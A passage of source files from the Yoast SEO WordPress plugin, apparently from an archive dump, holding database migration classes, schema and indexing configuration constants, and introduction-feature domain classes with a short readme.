	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$indexable_table = $this->create_table( $table_name, [ 'id' => false ] );

		$indexable_table->column(
			'indexable_id',
			'integer',
			[
				'primary_key' => true,
				'unsigned'    => true,
				'null'        => true,
				'limit'       => 11,
			]
		);
		$indexable_table->column(
			'ancestor_id',
			'integer',
			[
				'primary_key' => true,
				'unsigned'    => true,
				'null'        => true,
				'limit'       => 11,
			]
		);
		$indexable_table->column(
			'depth',
			'integer',
			[
				'unsigned' => true,
				'null'     => true,
				'limit'    => 11,
			]
		);
		$indexable_table->finish();

		$this->add_index( $table_name, 'indexable_id', [ 'name' => 'indexable_id' ] );
		$this->add_index( $table_name, 'ancestor_id', [ 'name' => 'ancestor_id' ] );
		$this->add_index( $table_name, 'depth', [ 'name' => 'depth' ] );
	}

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
wordpress-seo/src/config/migrations/20200507054848_DeleteDuplicateIndexables.php000064400000002113147510273100023006 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class DeleteDuplicateIndexables.
 */
class DeleteDuplicateIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		/*
		 * Deletes duplicate indexables that have the same object_id and object_type.
		 * The rows with a higher ID are deleted as those should be unused and could be outdated.
		 */
		$this->query( 'DELETE wyi FROM ' . $table_name . ' wyi INNER JOIN ' . $table_name . ' wyi2 WHERE wyi2.object_id = wyi.object_id AND wyi2.object_type = wyi.object_type AND wyi2.id < wyi.id;' );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20200728095334_AddIndexesForProminentWordsOnIndexables.php000064400000002265147510273100025650 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddIndexesForProminentWordsOnIndexables class.
 */
class AddIndexesForProminentWordsOnIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * The columns on which an index should be added.
	 *
	 * @var string[]
	 */
	private $columns_with_index = [
		'prominent_words_version',
		'object_type',
		'object_sub_type',
		'post_status',
	];

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		if ( ! $adapter->has_index( $table_name, $this->columns_with_index, [ 'name' => 'prominent_words' ] ) ) {
			$this->add_index(
				$table_name,
				$this->columns_with_index,
				[
					'name' => 'prominent_words',
				]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20190529075038_WpYoastDropIndexableMetaTableIfExists.php000064400000001573147510273100025276 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class WpYoastDropIndexableMetaTableIfExists.
 */
class WpYoastDropIndexableMetaTableIfExists extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		// This can be done safely as it executes a DROP IF EXISTS.
		$this->drop_table( $table_name );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// No down required. This specific table should never exist.
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable_Meta' );
	}
}
wordpress-seo/src/config/migrations/20200616130143_ReplacePermalinkHashIndex.php000064400000004365147510273100022757 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * ReplacePermalinkHashIndex class.
 */
class ReplacePermalinkHashIndex extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		if ( ! $adapter->has_table( $table_name ) ) {
			return;
		}

		$this->change_column(
			$table_name,
			'permalink_hash',
			'string',
			[
				'null'  => true,
				'limit' => 40,
			]
		);

		if ( $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) {
			$this->remove_index(
				$table_name,
				[
					'permalink_hash',
				],
				[
					'name' => 'permalink_hash',
				]
			);
		}

		if ( ! $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) {
			$this->add_index(
				$table_name,
				[
					'permalink_hash',
					'object_type',
				],
				[
					'name' => 'permalink_hash_and_object_type',
				]
			);
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		if ( ! $adapter->has_table( $table_name ) ) {
			return;
		}

		if ( $adapter->has_index( $table_name, [ 'permalink_hash', 'object_type' ], [ 'name' => 'permalink_hash_and_object_type' ] ) ) {
			$this->remove_index(
				$table_name,
				[
					'permalink_hash',
					'object_type',
				],
				[
					'name' => 'permalink_hash_and_object_type',
				]
			);
		}

		$this->change_column(
			$table_name,
			'permalink_hash',
			'string',
			[
				'null'  => true,
				'limit' => 191,
			]
		);

		if ( ! $adapter->has_index( $table_name, [ 'permalink_hash' ], [ 'name' => 'permalink_hash' ] ) ) {
			$this->add_index(
				$table_name,
				[
					'permalink_hash',
				],
				[
					'name' => 'permalink_hash',
				]
			);
		}
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20200428194858_ExpandIndexableColumnLengths.php000064400000003413147510273100023524 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class ExpandIndexableColumnLengths.
 */
class ExpandIndexableColumnLengths extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->change_column( $this->get_table_name(), 'title', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'open_graph_title', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'twitter_title', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'open_graph_image_source', 'text', [ 'null' => true ] );
		$this->change_column( $this->get_table_name(), 'twitter_image_source', 'text', [ 'null' => true ] );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$attr_limit_191 = [
			'null'  => true,
			'limit' => 191,
		];

		$this->change_column(
			$this->get_table_name(),
			'title',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'opengraph_title',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'twitter_title',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'open_graph_image_source',
			'string',
			$attr_limit_191
		);
		$this->change_column(
			$this->get_table_name(),
			'twitter_image_source',
			'string',
			$attr_limit_191
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20201202144329_AddEstimatedReadingTime.php000064400000001703147510273100022402 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddEstimatedReadingTime class.
 */
class AddEstimatedReadingTime extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();

		$this->add_column(
			$table_name,
			'estimated_reading_time_minutes',
			'integer',
			[
				'null'     => true,
				'default'  => null,
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$table_name = $this->get_table_name();

		$this->remove_column( $table_name, 'estimated_reading_time_minutes' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20200408101900_AddCollationToTables.php000064400000001676147510273100021740 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class AddCollationToTables.
 */
class AddCollationToTables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		global $wpdb;

		$charset_collate = $wpdb->get_charset_collate();
		if ( empty( $charset_collate ) ) {
			return;
		}

		$tables = [
			Model::get_table_name( 'migrations' ),
			Model::get_table_name( 'Indexable' ),
			Model::get_table_name( 'Indexable_Hierarchy' ),
			Model::get_table_name( 'Primary_Term' ),
		];

		foreach ( $tables as $table ) {
			$this->query( 'ALTER TABLE ' . $table . ' CONVERT TO ' . \str_replace( 'DEFAULT ', '', $charset_collate ) );
		}
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// No down required.
	}
}
wordpress-seo/src/config/migrations/20200430150130_ClearIndexableTables.php000064400000002057147510273100021726 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class ClearIndexableTables.
 */
class ClearIndexableTables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() );
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_table_name() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_hierarchy_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
wordpress-seo/src/config/migrations/20211020091404_AddObjectTimestamps.php000064400000003007147510273100021620 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddObjectTimestamps class.
 */
class AddObjectTimestamps extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_column(
			$this->get_table_name(),
			'object_last_modified',
			'datetime',
			[
				'null'    => true,
				'default' => null,
			]
		);
		$this->add_column(
			$this->get_table_name(),
			'object_published_at',
			'datetime',
			[
				'null'    => true,
				'default' => null,
			]
		);
		$this->add_index(
			$this->get_table_name(),
			[
				'object_published_at',
				'is_robots_noindex',
				'object_type',
				'object_sub_type',
			],
			[
				'name' => 'published_sitemap_index',
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_column( $this->get_table_name(), 'object_last_modified' );
		$this->remove_column( $this->get_table_name(), 'object_published_at' );
		$this->remove_index(
			$this->get_table_name(),
			[
				'object_published_at',
				'is_robots_noindex',
				'object_type',
				'object_sub_type',
			],
			[
				'name' => 'published_sitemap_index',
			]
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20210817092415_AddVersionColumnToIndexables.php000064400000001547147510273100023477 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * AddVersionColumnToIndexables class.
 */
class AddVersionColumnToIndexables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->add_column(
			$this->get_table_name(),
			'version',
			'integer',
			[
				'default'  => 1,
			]
		);
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->remove_column(
			$this->get_table_name(),
			'version'
		);
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable' );
	}
}
wordpress-seo/src/config/migrations/20200429105310_TruncateIndexableTables.php000064400000002065147510273100022474 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class TruncateIndexableTables.
 */
class TruncateIndexableTables extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_table_name() );
		$this->query( 'TRUNCATE TABLE ' . $this->get_indexable_hierarchy_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use for storing indexables.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_table_name() {
		return Model::get_table_name( 'Indexable' );
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_indexable_hierarchy_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
wordpress-seo/src/config/migrations/20200513133401_ResetIndexableHierarchyTable.php000064400000001366147510273100023444 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * Class ResetIndexableHierarchyTable.
 */
class ResetIndexableHierarchyTable extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$this->query( 'TRUNCATE TABLE ' . $this->get_table_name() );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		// Nothing to do.
	}

	/**
	 * Retrieves the table name to use.
	 *
	 * @return string The table name to use.
	 */
	protected function get_table_name() {
		return Model::get_table_name( 'Indexable_Hierarchy' );
	}
}
wordpress-seo/src/config/migrations/20200617122511_CreateSEOLinksTable.php000064400000004735147510273100021472 0ustar00<?php

namespace Yoast\WP\SEO\Config\Migrations;

use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\Lib\Model;

/**
 * CreateSEOLinksTable class.
 */
class CreateSEOLinksTable extends Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'free';

	/**
	 * Migration up.
	 *
	 * @return void
	 */
	public function up() {
		$table_name = $this->get_table_name();
		$adapter    = $this->get_adapter();

		// The table may already have been created by legacy code.
		// If not, create it exactly as it was.
		if ( ! $adapter->table_exists( $table_name ) ) {
			$table = $this->create_table( $table_name, [ 'id' => false ] );
			$table->column(
				'id',
				'biginteger',
				[
					'primary_key'    => true,
					'limit'          => 20,
					'unsigned'       => true,
					'auto_increment' => true,
				]
			);
			$table->column( 'url', 'string', [ 'limit' => 255 ] );
			$table->column(
				'post_id',
				'biginteger',
				[
					'limit'    => 20,
					'unsigned' => true,
				]
			);
			$table->column(
				'target_post_id',
				'biginteger',
				[
					'limit'    => 20,
					'unsigned' => true,
				]
			);
			$table->column( 'type', 'string', [ 'limit' => 8 ] );
			$table->finish();
		}
		if ( ! $adapter->has_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] ) ) {
			$this->add_index( $table_name, [ 'post_id', 'type' ], [ 'name' => 'link_direction' ] );
		}

		// Add these columns outside of the initial table creation as these did not exist on the legacy table.
		$this->add_column( $table_name, 'indexable_id', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'target_indexable_id', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'height', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'width', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'size', 'integer', [ 'unsigned' => true ] );
		$this->add_column( $table_name, 'language', 'string', [ 'limit' => 32 ] );
		$this->add_column( $table_name, 'region', 'string', [ 'limit' => 32 ] );

		$this->add_index( $table_name, [ 'indexable_id', 'type' ], [ 'name' => 'indexable_link_direction' ] );
	}

	/**
	 * Migration down.
	 *
	 * @return void
	 */
	public function down() {
		$this->drop_table( $this->get_table_name() );
	}

	/**
	 * Returns the SEO Links table name.
	 *
	 * @return string
	 */
	private function get_table_name() {
		return Model::get_table_name( 'SEO_Links' );
	}
}
wordpress-seo/src/config/schema-types.php000064400000010002147510273100014520 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Class Schema_Types.
 */
class Schema_Types {

	/**
	 * Holds the possible schema page types.
	 *
	 * Capitalized in this way so the value can be directly used in the schema output.
	 *
	 * @var string[]
	 */
	public const PAGE_TYPES = [
		'WebPage'           => '',
		'ItemPage'          => '',
		'AboutPage'         => '',
		'FAQPage'           => '',
		'QAPage'            => '',
		'ProfilePage'       => '',
		'ContactPage'       => '',
		'MedicalWebPage'    => '',
		'CollectionPage'    => '',
		'CheckoutPage'      => '',
		'RealEstateListing' => '',
		'SearchResultsPage' => '',
	];

	/**
	 * Holds the possible schema article types.
	 *
	 * Capitalized in this way so the value can be directly used in the schema output.
	 *
	 * @var string[]
	 */
	public const ARTICLE_TYPES = [
		'Article'                  => '',
		'BlogPosting'              => '',
		'SocialMediaPosting'       => '',
		'NewsArticle'              => '',
		'AdvertiserContentArticle' => '',
		'SatiricalArticle'         => '',
		'ScholarlyArticle'         => '',
		'TechArticle'              => '',
		'Report'                   => '',
		'None'                     => '',
	];

	/**
	 * Gets the page type options.
	 *
	 * @return array[] The schema page type options.
	 */
	public function get_page_type_options() {
		return [
			[
				'name'  => \__( 'Web Page', 'wordpress-seo' ),
				'value' => 'WebPage',
			],
			[
				'name'  => \__( 'Item Page', 'wordpress-seo' ),
				'value' => 'ItemPage',
			],
			[
				'name'  => \__( 'About Page', 'wordpress-seo' ),
				'value' => 'AboutPage',
			],
			[
				'name'  => \__( 'FAQ Page', 'wordpress-seo' ),
				'value' => 'FAQPage',
			],
			[
				'name'  => \__( 'QA Page', 'wordpress-seo' ),
				'value' => 'QAPage',
			],
			[
				'name'  => \__( 'Profile Page', 'wordpress-seo' ),
				'value' => 'ProfilePage',
			],
			[
				'name'  => \__( 'Contact Page', 'wordpress-seo' ),
				'value' => 'ContactPage',
			],
			[
				'name'  => \__( 'Medical Web Page', 'wordpress-seo' ),
				'value' => 'MedicalWebPage',
			],
			[
				'name'  => \__( 'Collection Page', 'wordpress-seo' ),
				'value' => 'CollectionPage',
			],
			[
				'name'  => \__( 'Checkout Page', 'wordpress-seo' ),
				'value' => 'CheckoutPage',
			],
			[
				'name'  => \__( 'Real Estate Listing', 'wordpress-seo' ),
				'value' => 'RealEstateListing',
			],
			[
				'name'  => \__( 'Search Results Page', 'wordpress-seo' ),
				'value' => 'SearchResultsPage',
			],
		];
	}

	/**
	 * Gets the article type options.
	 *
	 * @return array[] The schema article type options.
	 */
	public function get_article_type_options() {
		/**
		 * Filter: 'wpseo_schema_article_types_labels' - Allow developers to filter the available article types and their labels.
		 *
		 * Make sure when you filter this to also filter `wpseo_schema_article_types`.
		 *
		 * @param array $schema_article_types_labels The available schema article types and their labels.
		 */
		return \apply_filters(
			'wpseo_schema_article_types_labels',
			[
				[
					'name'  => \__( 'Article', 'wordpress-seo' ),
					'value' => 'Article',
				],
				[
					'name'  => \__( 'Blog Post', 'wordpress-seo' ),
					'value' => 'BlogPosting',
				],
				[
					'name'  => \__( 'Social Media Posting', 'wordpress-seo' ),
					'value' => 'SocialMediaPosting',
				],
				[
					'name'  => \__( 'News Article', 'wordpress-seo' ),
					'value' => 'NewsArticle',
				],
				[
					'name'  => \__( 'Advertiser Content Article', 'wordpress-seo' ),
					'value' => 'AdvertiserContentArticle',
				],
				[
					'name'  => \__( 'Satirical Article', 'wordpress-seo' ),
					'value' => 'SatiricalArticle',
				],
				[
					'name'  => \__( 'Scholarly Article', 'wordpress-seo' ),
					'value' => 'ScholarlyArticle',
				],
				[
					'name'  => \__( 'Tech Article', 'wordpress-seo' ),
					'value' => 'TechArticle',
				],
				[
					'name'  => \__( 'Report', 'wordpress-seo' ),
					'value' => 'Report',
				],
				[
					'name'  => \__( 'None', 'wordpress-seo' ),
					'value' => 'None',
				],
			]
		);
	}
}
wordpress-seo/src/config/indexing-reasons.php000064400000002443147510273100015405 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Class Indexing_Reasons. Contains constants that aren't context specific.
 */
class Indexing_Reasons {

	/**
	 * Represents the reason that the indexing process failed and should be tried again.
	 */
	public const REASON_INDEXING_FAILED = 'indexing_failed';

	/**
	 * Represents the reason that the permalink settings are changed.
	 */
	public const REASON_PERMALINK_SETTINGS = 'permalink_settings_changed';

	/**
	 * Represents the reason that the category base is changed.
	 */
	public const REASON_CATEGORY_BASE_PREFIX = 'category_base_changed';

	/**
	 * Represents the reason that the tag base is changed.
	 */
	public const REASON_TAG_BASE_PREFIX = 'tag_base_changed';

	/**
	 * Represents the reason that the home url option is changed.
	 */
	public const REASON_HOME_URL_OPTION = 'home_url_option_changed';

	/**
	 * Represents the reason that a post type has been made public.
	 */
	public const REASON_POST_TYPE_MADE_PUBLIC = 'post_type_made_public';

	/**
	 * Represents the reason that a post type has been made viewable.
	 */
	public const REASON_TAXONOMY_MADE_PUBLIC = 'taxonomy_made_public';

	/**
	 * Represents the reason that attachments have stopped being redirected.
	 */
	public const REASON_ATTACHMENTS_MADE_ENABLED = 'attachments_made_enabled';
}
wordpress-seo/src/config/schema-ids.php000064400000002103147510273100014136 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Class Schema_IDs.
 */
class Schema_IDs {

	/**
	 * Hash used for the Author `@id`.
	 */
	public const AUTHOR_HASH = '#author';

	/**
	 * Hash used for the Author Logo's `@id`.
	 */
	public const AUTHOR_LOGO_HASH = '#authorlogo';

	/**
	 * Hash used for the Breadcrumb's `@id`.
	 */
	public const BREADCRUMB_HASH = '#breadcrumb';

	/**
	 * Hash used for the Person `@id`.
	 */
	public const PERSON_HASH = '#/schema/person/';

	/**
	 * Hash used for the Article `@id`.
	 */
	public const ARTICLE_HASH = '#article';

	/**
	 * Hash used for the Organization `@id`.
	 */
	public const ORGANIZATION_HASH = '#organization';

	/**
	 * Hash used for the Organization `@id`.
	 */
	public const ORGANIZATION_LOGO_HASH = '#/schema/logo/image/';

	/**
	 * Hash used for the logo `@id`.
	 */
	public const PERSON_LOGO_HASH = '#/schema/person/image/';

	/**
	 * Hash used for an Article's primary image `@id`.
	 */
	public const PRIMARY_IMAGE_HASH = '#primaryimage';

	/**
	 * Hash used for the Website's `@id`.
	 */
	public const WEBSITE_HASH = '#website';
}
wordpress-seo/src/introductions/domain/introduction-interface.php000064400000001126147510273100021512 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Domain;

/**
 * Represents an introduction.
 */
interface Introduction_Interface {

	/**
	 * Returns the ID.
	 *
	 * @return string
	 */
	public function get_id();

	/**
	 * Returns the unique name.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return string
	 */
	public function get_name();

	/**
	 * Returns the requested pagination priority. Lower means earlier.
	 *
	 * @return int
	 */
	public function get_priority();

	/**
	 * Returns whether this introduction should show.
	 *
	 * @return bool
	 */
	public function should_show();
}
wordpress-seo/src/introductions/domain/introduction-item.php000064400000001745147510273100020517 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Domain;

/**
 * Domain object that holds introduction information.
 */
class Introduction_Item {

	/**
	 * The ID.
	 *
	 * @var string
	 */
	private $id;

	/**
	 * The priority.
	 *
	 * @var int
	 */
	private $priority;

	/**
	 * Constructs the instance.
	 *
	 * @param string $id       The ID.
	 * @param int    $priority The priority.
	 */
	public function __construct( $id, $priority ) {
		$this->id       = $id;
		$this->priority = $priority;
	}

	/**
	 * Returns an array representation of the data.
	 *
	 * @return array Returns in an array format.
	 */
	public function to_array() {
		return [
			'id'       => $this->get_id(),
			'priority' => $this->get_priority(),
		];
	}

	/**
	 * Returns the ID.
	 *
	 * @return string
	 */
	public function get_id() {
		return $this->id;
	}

	/**
	 * Returns the requested pagination priority. Higher means earlier.
	 *
	 * @return int
	 */
	public function get_priority() {
		return $this->priority;
	}
}
wordpress-seo/src/introductions/domain/invalid-user-id-exception.php000064400000001453147510273100022026 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Domain;

use InvalidArgumentException;
use Throwable;

/**
 * Invalid user ID.
 */
class Invalid_User_Id_Exception extends InvalidArgumentException {

	/**
	 * Constructs the exception.
	 *
	 * @link https://php.net/manual/en/exception.construct.php
	 *
	 * @param string         $message  Optional. The Exception message to throw.
	 * @param int            $code     Optional. The Exception code.
	 * @param Throwable|null $previous Optional. The previous throwable used for the exception chaining.
	 */
	public function __construct( // phpcs:ignore Generic.CodeAnalysis.UselessOverridingMethod.Found -- Reason: A default message is used.
		$message = 'Invalid User ID',
		$code = 0,
		$previous = null
	) {
		parent::__construct( $message, $code, $previous );
	}
}
wordpress-seo/src/introductions/domain/introductions-bucket.php000064400000001537147510273100021220 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Domain;

/**
 * A collection domain object.
 */
class Introductions_Bucket {

	/**
	 * Holds the introductions.
	 *
	 * @var Introduction_Item[]
	 */
	private $introductions;

	/**
	 * The constructor.
	 */
	public function __construct() {
		$this->introductions = [];
	}

	/**
	 * Adds an introduction to this bucket.
	 *
	 * @param Introduction_Item $introduction The introduction.
	 *
	 * @return void
	 */
	public function add_introduction( Introduction_Item $introduction ) {
		$this->introductions[] = $introduction;
	}

	/**
	 * Returns the array representation of the introductions.
	 *
	 * @return array
	 */
	public function to_array() {
		// No sorting here because that is done in JS.
		return \array_map(
			static function ( $item ) {
				return $item->to_array();
			},
			$this->introductions
		);
	}
}
wordpress-seo/src/introductions/readme.md000064400000003402147510273100014631 0ustar00# Introductions

Is for showing introductions to a user, on Yoast admin pages.
Based on plugin version, page, user capabilities and whether the user has seen it already.

- `Introduction_Interface` defines what data is needed
    - `id` as unique identifier
    - `plugin` and `version` to determine if the introduction is new (version > plugin version)
    - `pages` to be able to only show on certain Yoast admin pages
    - `capabilities` to be able to only show for certain users
- `Introductions_Collector` uses that data to determine whether an introduction should be "shown" to a user
    - uses the `wpseo_introductions` filter to be extendable from our other plugins
    - uses `Introductions_Seen_Repository` to get the data to determine if the user saw an introduction already
- `Introductions_Seen_Repository` is the doorway whether a user has seen an introduction or not
    - uses the `_yoast_introductions` user metadata
- `Introduction_Bucket` and `Introduction_Item` are used by the collector to get an array
- `Introductions_Integration` runs on the Yoast Admin pages and loads the assets
    - only loads on our Yoast admin pages, but never on our installation success pages as to not disturb onboarding
    - only loads assets if there is an introduction to show
        - `js/src/introductions` holds the JS
        - `wpseoIntroductions` is the localized script to transfer data from PHP to JS
        - `css/src/ai-generator.css` holds the CSS

Inside JS, register the modal content via `window.YoastSEO._registerIntroductionComponent`, which takes a
`id` and a `Component`. The id needs to be the same as the id in the `Introduction_Interface`.
The action `yoast.introductions.ready` can be used to know whether the registration function is available and ready for
use.
wordpress-seo/src/introductions/infrastructure/wistia-embed-permission-repository.php000064400000004072147510273100025624 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\Infrastructure;

use Exception;
use Yoast\WP\SEO\Helpers\User_Helper;

/**
 * Takes care of the get/set in the WP user meta.
 *
 * @makePublic
 */
class Wistia_Embed_Permission_Repository {

	public const USER_META_KEY = '_yoast_wpseo_wistia_embed_permission';

	public const DEFAULT_VALUE = false;

	/**
	 * Holds the User_Helper instance.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * Constructs the class.
	 *
	 * @param User_Helper $user_helper The User_Helper.
	 */
	public function __construct( User_Helper $user_helper ) {
		$this->user_helper = $user_helper;
	}

	/**
	 * Retrieves the current value for a user.
	 *
	 * @param int $user_id User ID.
	 *
